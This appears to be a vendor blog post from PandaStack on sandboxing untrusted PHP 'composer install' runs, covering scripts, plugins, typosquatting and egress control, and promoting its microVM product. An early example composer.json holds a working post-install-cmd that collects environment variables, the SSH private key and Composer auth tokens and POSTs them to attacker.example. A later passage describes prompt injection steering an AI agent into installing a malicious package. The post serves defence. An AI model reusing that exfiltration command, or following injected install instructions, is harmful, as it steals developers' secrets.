all posts

How to Sandbox an Untrusted composer install

Ajay Kumar··10 min read

Someone hands you a PHP project — a client repo, a contributor's pull request, a scaffold your coding agent just generated — and you run `composer install`. It prints a progress bar, resolves a dependency graph, writes a `vendor/` directory. It feels like a download step. It is not. Composer has a first-class, documented, entirely-by-design mechanism for running arbitrary PHP during installation, and by the time the install finishes, code chosen by strangers has already executed as your user, with your environment and your network. `composer install` is a build step the way a stranger's USB stick is a file transfer.

I'm Ajay — I built PandaStack, a Firecracker microVM platform for running untrusted code. This post is about the specific shape of the Composer problem: what actually executes during an install, why `--no-scripts --no-plugins` helps but doesn't finish the job, and the isolation pattern that lets CI and AI agents install PHP dependencies from anywhere without betting the host on it. PHP itself is fine. The install-time execution model is the part that needs a wall around it.

What actually runs during composer install

There are two independent execution channels, and people usually only know about the first one.

The first is **scripts**. A `composer.json` can declare handlers for lifecycle events — `pre-install-cmd`, `post-install-cmd`, `post-update-cmd`, `pre-autoload-dump`, `post-autoload-dump`, `post-package-install`, and more. Each handler is either a shell command or a `Class::staticMethod` reference that Composer invokes in-process. Composer fires them automatically as part of a normal install. There's no prompt, no confirmation, and nothing about the word "install" that hints a shell is about to open.

{
  "name": "acme/perfectly-normal-app",
  "require": {
    "acme/logging-helper": "^2.1"
  },
  "scripts": {
    "post-install-cmd": [
      "php -r \"$loot = json_encode(['env' => getenv(), 'ssh' => @file_get_contents(getenv('HOME').'/.ssh/id_rsa'), 'auth' => @file_get_contents(getenv('HOME').'/.composer/auth.json')]); @file_get_contents('https://attacker.example/collect', false, stream_context_create(['http' => ['method' => 'POST', 'content' => $loot]]));\""
    ],
    "pre-autoload-dump": [
      "Acme\\Build\\Optimizer::warmCache"
    ]
  }
}

That's the entire attack. It reads every environment variable — where your CI secrets, cloud tokens, database URLs, and `COMPOSER_AUTH` live — plus your SSH private key and your Composer `auth.json` (which frequently holds a Packagist or private-repo token), and POSTs the bundle to a host the author controls. It uses nothing exotic: `getenv()`, `file_get_contents()`, a stream context. And notice the second entry: `pre-autoload-dump` pointing at a class method looks like an ordinary build optimization. It runs the same way, with the same privileges, and it reads as boilerplate to a human reviewer skimming a diff.

The second channel is **plugins**, and it's the one that matters more. Composer's plugin API lets a package declare `"type": "composer-plugin"`, and Composer will load and execute that package's PHP class inside the Composer process itself during dependency resolution — before your project's own scripts, and before `vendor/autoload.php` exists for anything else. A plugin is not a sandboxed extension point. It's PHP running in a normal PHP process, with the full standard library: `exec()`, `shell_exec()`, `proc_open()`, `file_put_contents()`, `file_get_contents()` over HTTP, `unlink()`, everything.

  • Root-project scripts — the `scripts` block in the repo's own composer.json. If the repo came from a PR, an agent, or a template you found, its author picked these.
  • Dependency plugins — any package with type composer-plugin gets its PHP loaded into the Composer process during install. Full language capability, no sandbox, no allowlist by default.
  • Transitive reach — you reviewed your one direct dependency; the packages it pulls in can each ship a plugin, and any single one of them is enough.
  • Autoload-time payloads — even with scripts and plugins off, the moment your app requires vendor/autoload.php and touches a class, that package's top-level code runs. Installation is not the only door.
  • Post-install binaries — packages can install console scripts into vendor/bin. A CI step that runs one is executing third-party code by a different name.
"composer require vendor/package" means "fetch this package and every transitive dependency, then run their authors' PHP as me, right now." The plugin system makes this true even when your own composer.json has an empty scripts block — the package you're installing brings its own execution channel.

Why --no-scripts --no-plugins is not the whole answer

The obvious defense is `composer install --no-scripts --no-plugins`. You should absolutely use it as a default in automation — it closes both install-time execution channels in one flag pair, and it's cheap. But treating it as a security boundary for untrusted code will let you down for three separate reasons.

**First, it changes install semantics, and real projects break.** A large fraction of the PHP ecosystem depends on install-time work being done. Framework plugins wire up bundle registration and copy config; installer plugins place packages into non-standard directories (WordPress plugins, Drupal modules, and similar layouts rely on this); asset and binary installers fetch platform-specific artifacts; autoload-optimization and cache-warming steps run at `post-autoload-dump`. Disable them and you get a `vendor/` directory that resolved correctly and produces an application that doesn't boot. The failure is often not loud — you get a missing config, an unregistered service, a file in the wrong place, and a confusing runtime error three steps later.

**Second, the pressure to re-enable lands on exactly the wrong packages.** When the install breaks, the practical fix is `--no-plugins` plus an allowlist — Composer's `allow-plugins` config lets you name specific packages whose plugins may run. That's genuinely good practice and much better than blanket trust. But an allowlist is a judgment about which authors you trust, made once, and inherited forward through every future version of those packages. It's a real improvement in hygiene. It is not a containment boundary, because the whole point is that you're deciding to execute somebody's code.

**Third, and most fundamentally: disabling install-time execution only moves the execution.** You installed these dependencies in order to run them. The moment your application, your test suite, or a `vendor/bin` console command touches the autoloader, third-party class files execute with your process's full privileges. A malicious package that can't run a `post-install-cmd` simply puts the payload in a class that gets autoloaded, or in a service provider your framework instantiates at boot, and waits. `--no-scripts --no-plugins` converts install-time RCE into run-time RCE. That's a meaningful improvement in when you get hit, not in whether you can be.

--no-scripts --no-plugins is a good default and a bad boundary. It stops the laziest version of the attack and breaks a lot of honest packages on the way past. It cannot contain code you have decided to run, because running it was the entire objective.

Packagist, typosquatting, and the name you typed

Packagist is an open registry: anyone can publish, and the `vendor/package` namespace is claimed first-come. That's the same model as every other language ecosystem, and it carries the same two supply-chain failure modes.

The first is **compromise of a package you already trust**. A maintainer's account gets phished, a token leaks from a CI log, or an abandoned package changes hands — and the next release of something already deep in your dependency tree ships a new plugin or a new `post-install-cmd`. Your `composer.lock` pinned the old version, which is real protection, right up until someone runs `composer update`, adds an unrelated dependency that forces a resolve, or your CI job doesn't use the lockfile at all.

The second is **typosquatting on a name that was almost right**. A developer who types `symfony/console` typed a name they meant. This is where AI agents change the risk profile materially: a model emits package names from a distribution over plausible tokens, so it will confidently `composer require` a vendor/package pair that reads correctly, is spelled almost correctly, and belongs to somebody else entirely. Registering near-misses of popular packages and shipping a credential-stealing plugin is a known, ongoing pattern across every open registry, and PHP's `vendor/name` two-part namespace gives an attacker two independent places to be plausibly wrong.

It compounds under prompt injection. If your agent reads a README, an issue thread, a scraped page, or a tool result an attacker controls, that text can instruct it to "install `acme/laravel-helpers` first." The agent obliges. Composer resolves it, loads its plugin, and the plugin runs. Same story on the CI side: a job that runs `composer install` on a contributor's pull request has already executed that contributor's chosen dependency tree against your runner's secrets. No merge, no review approval, no human in the loop — the install itself was the exploit. See /blog/sandbox-untrusted-npm-install for the same argument in the JavaScript ecosystem; the mechanics differ, the shape does not.

Why a shared-kernel container is a weak boundary here

The natural next move is "run the install in a container." That's better than your laptop and genuinely fine for dependencies you chose and trust. For untrusted install-time code it's a soft boundary, for two reasons — one exotic, one boring.

The exotic one: a container shares the host kernel. The PHP process running a hostile plugin is a normal process making normal syscalls against that shared kernel, and a kernel bug or a container-escape primitive puts it on the host and, in a multi-tenant setup, into other tenants' work. This is not paranoid theater — AWS, Google, and others moved untrusted workloads onto microVMs or gVisor precisely because a shared kernel is a large attackable surface. /blog/why-docker-is-not-a-sandbox goes deeper on that.

The boring one catches far more people. CI containers are typically built with exactly the things an install script should never see: `COMPOSER_AUTH` or a GitHub token in the environment for private repos, cloud credentials, a bind-mounted Docker socket, the host's SSH agent forwarded in, cloud metadata reachable at 169.254.169.254, and unrestricted outbound network. A malicious plugin doesn't need a kernel exploit to ruin your quarter when it can read a token that was already sitting in `getenv()` and POST it out. The overwhelmingly common real-world compromise is ambient credentials plus open egress, not a VM escape.

The options, ranked for untrusted installs

Where you run an untrusted `composer install`, from least to most contained:

  • Host composer, straight into your dev machine or CI runner — no boundary at all. Scripts and plugins run as you, read ~/.composer/auth.json and ~/.ssh, and see every secret in the environment. Never do this with a dependency tree you didn't choose.
  • Host composer with --no-scripts --no-plugins — closes both install-time channels but changes install semantics so real projects break, and does nothing about autoload-time execution when you actually run the app. Good default, not a boundary.
  • Host composer with an allow-plugins allowlist — a meaningful hygiene improvement that scopes plugin execution to authors you named. Still a trust decision, inherited by every future version of those packages, with no containment behind it.
  • A container — real process isolation and a clean filesystem, but a shared host kernel and usually ambient credentials and open egress. Correct for trusted builds; a soft boundary for untrusted install-time code.
  • A disposable microVM — the install runs behind a hardware virtualization boundary with its own guest kernel, with no host credentials present and egress you control. If a package is hostile, the blast radius is one VM you were going to delete anyway.
A committed composer.lock is real defense-in-depth: it pins exact versions with distribution references, so a routine install can't silently pull a mutated release of something you already resolved. But it says nothing about whether those bytes should run, and nothing at all when an agent or a contributor introduces a brand-new hostile package by name. The lockfile answers "are these the packages I resolved?" Isolation answers "what happens if they're hostile?"

The pattern: install inside a disposable microVM

The durable shape has four properties: a hardware isolation boundary (a guest kernel of its own, not the host's), an ephemeral environment created per install and destroyed after, zero host credentials inside the guest, and default-deny egress with a narrow allowlist so a plugin can't phone home. On PandaStack you get the first two by construction and enforce the other two per sandbox. Here's the loop with the Python SDK — create a throwaway VM, write the untrusted manifest in, run the full install with scripts and plugins enabled inside the guest, then pull out only inert bytes and destroy the VM:

from pandastack import Sandbox

# An untrusted composer.json: an agent generated it, or it arrived in a PR.
# It may declare hostile scripts, and its dependencies may ship plugins.
# We are going to run all of it anyway — somewhere disposable.
manifest = """
{
  "name": "untrusted/app",
  "require": {
    "psr/log": "^3.0"
  },
  "scripts": {
    "post-install-cmd": ["php -r 'echo \\"build step ran\\n\\";'"]
  }
}
"""

# One disposable microVM for this install. ttl reaps it if we crash.
sbx = Sandbox.create(template="base", ttl_seconds=900)
try:
    sbx.filesystem.write("/workspace/composer.json", manifest)

    # Scripts AND plugins run here — third-party PHP executing inside the
    # guest kernel, with no host secrets in the environment and egress
    # restricted to the package repository. This is the point: we are not
    # pretending the code is safe, we are making its execution boring.
    r = sbx.exec(
        "cd /workspace && COMPOSER_ALLOW_SUPERUSER=0 "
        "composer install --no-interaction --no-progress --prefer-dist",
        timeout_seconds=600,
    )
    print("install exit:", r.exit_code)
    if r.exit_code != 0:
        raise RuntimeError(f"install failed or was blocked:\n{r.stderr}")

    # Run the test suite (also third-party code) in the same contained VM.
    t = sbx.exec("cd /workspace && vendor/bin/phpunit", timeout_seconds=600)
    print("tests exit:", t.exit_code)

    # Extract only inert bytes, through the API — never a host mount.
    sbx.exec("cd /workspace && tar czf /tmp/vendor.tgz vendor composer.lock")
    blob = sbx.filesystem.read("/tmp/vendor.tgz")
    with open("vendor.tgz", "wb") as f:
        f.write(blob)
    print(f"pulled {len(blob)} bytes")
finally:
    sbx.kill()  # the VM and everything the install did to it are gone

If any package in that tree had shipped the hostile plugin from earlier, here's what it found when it ran: no `~/.ssh/id_rsa`, no `~/.composer/auth.json`, no `COMPOSER_AUTH` or cloud credentials in `getenv()`, no metadata endpoint reachable, and egress locked down so the exfiltration POST never left the host. Whatever it wrote to disk dies with the sandbox. The worst case is a wasted VM — which is exactly why making VMs cheap is a security feature, not just a performance one.

That cheapness is what makes per-install isolation practical instead of aspirational. On PandaStack every create restores a baked snapshot on demand: p50 179ms, p99 around 203ms, with the snapshot-restore step itself roughly 49ms. A true first cold boot, before any snapshot exists for a template, is about 3s — you pay it once. So a fresh VM for one sketchy `composer install` isn't a boot tax you avoid by reusing environments across trust domains; it's fast enough to do every single time. And if you want every install to start from an identical known-good base — PHP version pinned, a warmed Composer cache, your private repository configured — snapshot a configured sandbox once and fork it: same-host forks land in 400–750ms (cross-host 1.2–3.5s, since artifacts move over the network first). Per-VM network isolation isn't the constraint either; each agent pre-allocates 16,384 /30 subnets.

Hardening the install itself

Isolation is the backstop, not an excuse to skip hygiene. Inside the sandbox, the install should still be the tightest thing that actually works. A reasonable hardened invocation looks like this:

#!/usr/bin/env bash
# Run this INSIDE the sandbox. It is defense in depth, not the defense.
set -euo pipefail

# 1. No host credentials. Scrub anything an install has no business reading.
unset COMPOSER_AUTH GITHUB_TOKEN AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN GCP_SERVICE_ACCOUNT DATABASE_URL SSH_AUTH_SOCK

# 2. Never as root. COMPOSER_ALLOW_SUPERUSER=1 exists to silence the
#    warning that is trying to save you.
id -u | grep -qv '^0$' || { echo "refusing to install as root"; exit 1; }

# 3. Keep Composer's state inside the disposable workspace, so nothing
#    reads or writes a home-directory auth file that shouldn't exist.
export COMPOSER_HOME=/workspace/.composer-home
export COMPOSER_CACHE_DIR=/workspace/.composer-cache
export COMPOSER_DISABLE_XDEBUG_WARN=1

# 4. Resolve against a lockfile when there is one: no surprise upgrades.
#    Prefer --no-scripts --no-plugins as the DEFAULT, and only relax it
#    (inside the VM) for projects that genuinely need install-time work.
if [ -f composer.lock ]; then
  composer install --no-interaction --no-progress --prefer-dist \
    --no-scripts --no-plugins
else
  composer install --no-interaction --no-progress --prefer-dist \
    --no-scripts --no-plugins
fi

# 5. Audit before you trust the result anywhere else.
composer audit --no-interaction || echo "advisories found — review before use"

# 6. If the project truly needs scripts/plugins, re-run WITH them here,
#    inside the VM, where that decision costs you a sandbox and nothing more.
#    composer install --no-interaction --prefer-dist

Two details worth calling out. `COMPOSER_ALLOW_SUPERUSER=1` is widely pasted into Dockerfiles to silence Composer's root warning — that warning is a real signal, and running an untrusted install as root inside the guest throws away a free layer of separation for no reason. And pointing `COMPOSER_HOME` at a path inside the disposable workspace means there is no persistent `auth.json` for a hostile plugin to find, even if some earlier step wrote one.

Controlling egress so a plugin can't phone home

Isolation contains a compromised guest; egress control decides whether it can talk to the outside world while contained. The tension is unavoidable: the install needs to reach Packagist and the code hosts serving source archives, while a malicious plugin wants to reach an attacker's collector. You can't blanket-block outbound or nothing installs. The workable posture is default-deny with a narrow allowlist.

  • Point Composer at a repository you control — a Private Packagist-style mirror or a self-hosted Satis/Toran instance — and allow egress only to that host. The install resolves; everything else is denied.
  • Deny the cloud metadata endpoint (169.254.169.254) unconditionally. Nothing a dependency install does has any business there, and it is the single most reliable path from "ran some code" to "has your cloud role".
  • Keep outbound default-deny per sandbox, open only what the build genuinely needs, and let it close when the sandbox dies rather than living in a long-lived firewall rule someone forgets.
  • Treat DNS as an exfiltration channel too — a resolver that only answers for your mirror shuts down the trick of encoding a stolen token into a hostname lookup.
  • Watch the archive fetch path: --prefer-dist pulls zipped distributions (often from the code host, not the registry), so an allowlist that only names Packagist will fail installs in confusing ways. Allow what dist fetching actually needs, deliberately.
A sandbox with open egress and an inherited COMPOSER_AUTH defeats the entire exercise. The most common exfiltration path is not a hypervisor escape — it is a post-install script reading a token that should never have been in the environment and POSTing it to a host you never restricted. Lock down both, or you have bought isolation theater.

Practical guidance for CI and for AI agents

For **CI**, the rule is that `composer install` on untrusted input never runs in the same job as your secrets. Split the pipeline: the untrusted install and test step runs in a sandbox with a scrubbed environment and no repository write token, and only its inert output — a `vendor/` archive, a JUnit XML, a coverage file — crosses back into a privileged job that has the credentials to publish. Pull requests from forks should never have a path to `COMPOSER_AUTH` or a deploy key, and "the install is just a build step" is precisely the assumption an attacker is counting on. /blog/secure-ci-secrets-microvm covers the credential-splitting side of this in more depth.

For **AI agents**, the failure mode is different and worse, because the agent chooses the package names. Concretely:

  1. Never let an agent run composer require or composer install in the same process or host as its own credentials, your source repository, or the tokens it uses for anything else. The sandbox is the boundary and the boundary must be per-task.
  2. Give it a fresh VM per task, with a ttl, and destroy it when the task ends. Reusing one long-lived environment across tasks means package A's install-time payload is still resident when task B runs with different data.
  3. Log and surface the exact package names it resolved, not just the outcome. Typosquats are caught by a human noticing symfony/consle, and that only works if the resolved names are visible in the transcript rather than buried in an install log nobody reads.
  4. Prefer a curated repository. If the agent can only install from a mirror containing packages you have vetted, the typosquat class stops existing, because the near-miss name simply is not there to resolve.
  5. Treat the produced vendor/ tree as untrusted output. It was assembled by code you did not trust; if the agent's next step is to run the app, that runs in a sandbox too, not on a box with secrets.

Better: don't install untrusted things live when you can avoid it

The safest untrusted install is the one that doesn't happen at runtime. For the dependency sets you control, bake them into a template: install from an audited `composer.lock` at image-build time, snapshot the result, and the fresh VM already has `vendor/` populated with packages you reviewed. Most tasks then reach for something already present, no untrusted resolution fires, and there's no plugin to worry about because you decided what went in.

For the long tail — a repo whose dependencies genuinely aren't baked — you fall back to the pattern above: install live, but inside the disposable, credential-free, egress-restricted VM, so the fallback is contained rather than dangerous. That two-tier posture is what lets you say yes to "the agent can install whatever the project needs" without that being a synonym for "the agent can run whatever it's told, as you."

And when is none of this necessary? If you own the `composer.lock`, it isn't influenced by agents or outside contributors, and you've reviewed the plugin allowlist, then a plain install into a normal CI environment is completely fine — don't spin up a VM for dependencies you chose and trust. The apparatus here is for the case that actually bites: a dependency tree that arrived at runtime, from a model or a stranger, possibly steered by an attacker who understood the plugin system better than you did. For that case, treat `composer install` as the arbitrary code execution it is, run it somewhere you're happy to throw away, and let the blast radius be one sandbox instead of your fleet.

Frequently asked questions

Does composer install actually execute code, or does it just download packages?

It executes code, through two independent channels. First, scripts: a composer.json can declare handlers for lifecycle events like pre-install-cmd, post-install-cmd, and pre-autoload-dump, which Composer runs automatically as shell commands or PHP static methods. Second, and more importantly, plugins: any dependency declaring "type": "composer-plugin" gets its PHP class loaded and executed inside the Composer process during dependency resolution, with the full PHP standard library available — exec(), shell_exec(), file_get_contents() over the network. Both run as your user, with your environment and credentials, before your application loads a single class. So installing an untrusted dependency tree is code execution, not a passive download.

Is composer install --no-scripts --no-plugins enough to be safe?

No, though it's a good default for automation. Three problems. It changes install semantics: many legitimate packages rely on install-time work — framework bundle registration, installer plugins that place packages in non-standard directories, asset and binary fetchers, autoload optimization — so real projects install but then fail to boot, often with a confusing error several steps later. That pressure pushes teams to re-enable plugins via an allow-plugins allowlist, which is a trust decision inherited by every future version of those packages, not a containment boundary. And most fundamentally, it only moves the execution: once your app, test suite, or a vendor/bin command touches the autoloader, third-party class code runs with full privileges anyway. It converts install-time RCE into run-time RCE.

What's the risk of letting an AI agent run composer require on my behalf?

The agent chooses the package names, and it chooses them probabilistically. PHP's vendor/package namespace gives an attacker two independent places to register a plausible near-miss of a popular library, and typosquatting open registries with credential-stealing payloads is an ongoing pattern. It gets worse under prompt injection: if the agent reads a README, an issue, or a scraped page an attacker controls, that text can instruct it to install a specific malicious package, and the agent will comply — Composer then loads that package's plugin and runs it. Mitigate by giving the agent a fresh disposable sandbox per task with no credentials, surfacing the exact resolved package names in the transcript so a human can spot a typosquat, and preferring a curated mirror where near-miss names simply don't resolve.

Isn't a Docker container enough to sandbox an untrusted composer install?

For dependencies you chose and trust, usually yes. For genuinely untrusted install-time code it's a soft boundary for two reasons. The exotic one: a container shares the host kernel, so a kernel bug or container-escape primitive can reach the host and, in a multi-tenant setup, other tenants. The boring one, which causes far more real incidents: CI containers typically carry exactly what an install script should never see — COMPOSER_AUTH or a GitHub token in the environment, cloud credentials, a mounted Docker socket, a forwarded SSH agent, reachable cloud metadata at 169.254.169.254, and unrestricted egress. A hostile plugin doesn't need an escape when it can read a token from getenv() and POST it out. A microVM with its own guest kernel, no host credentials, and default-deny egress is the stronger backstop.

How do I run an untrusted composer install safely on PandaStack?

Create a disposable microVM on the base template with a ttl, write the untrusted composer.json into the guest, scrub credential environment variables and point COMPOSER_HOME at the disposable workspace, then run the install inside the guest with a timeout — scripts and plugins included, since containment is the boundary rather than flags. Run the test suite in the same VM, tar the vendor/ tree, read the archive back through the filesystem API rather than a host mount, and kill the sandbox. Because every create restores a baked snapshot in roughly 49ms for the restore step (179ms p50, about 203ms p99, with a first cold boot around 3s), a fresh VM per install is practical rather than a boot tax. For an identical known-good starting point every time, snapshot a configured sandbox once and fork it: same-host forks run 400–750ms, cross-host 1.2–3.5s.

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.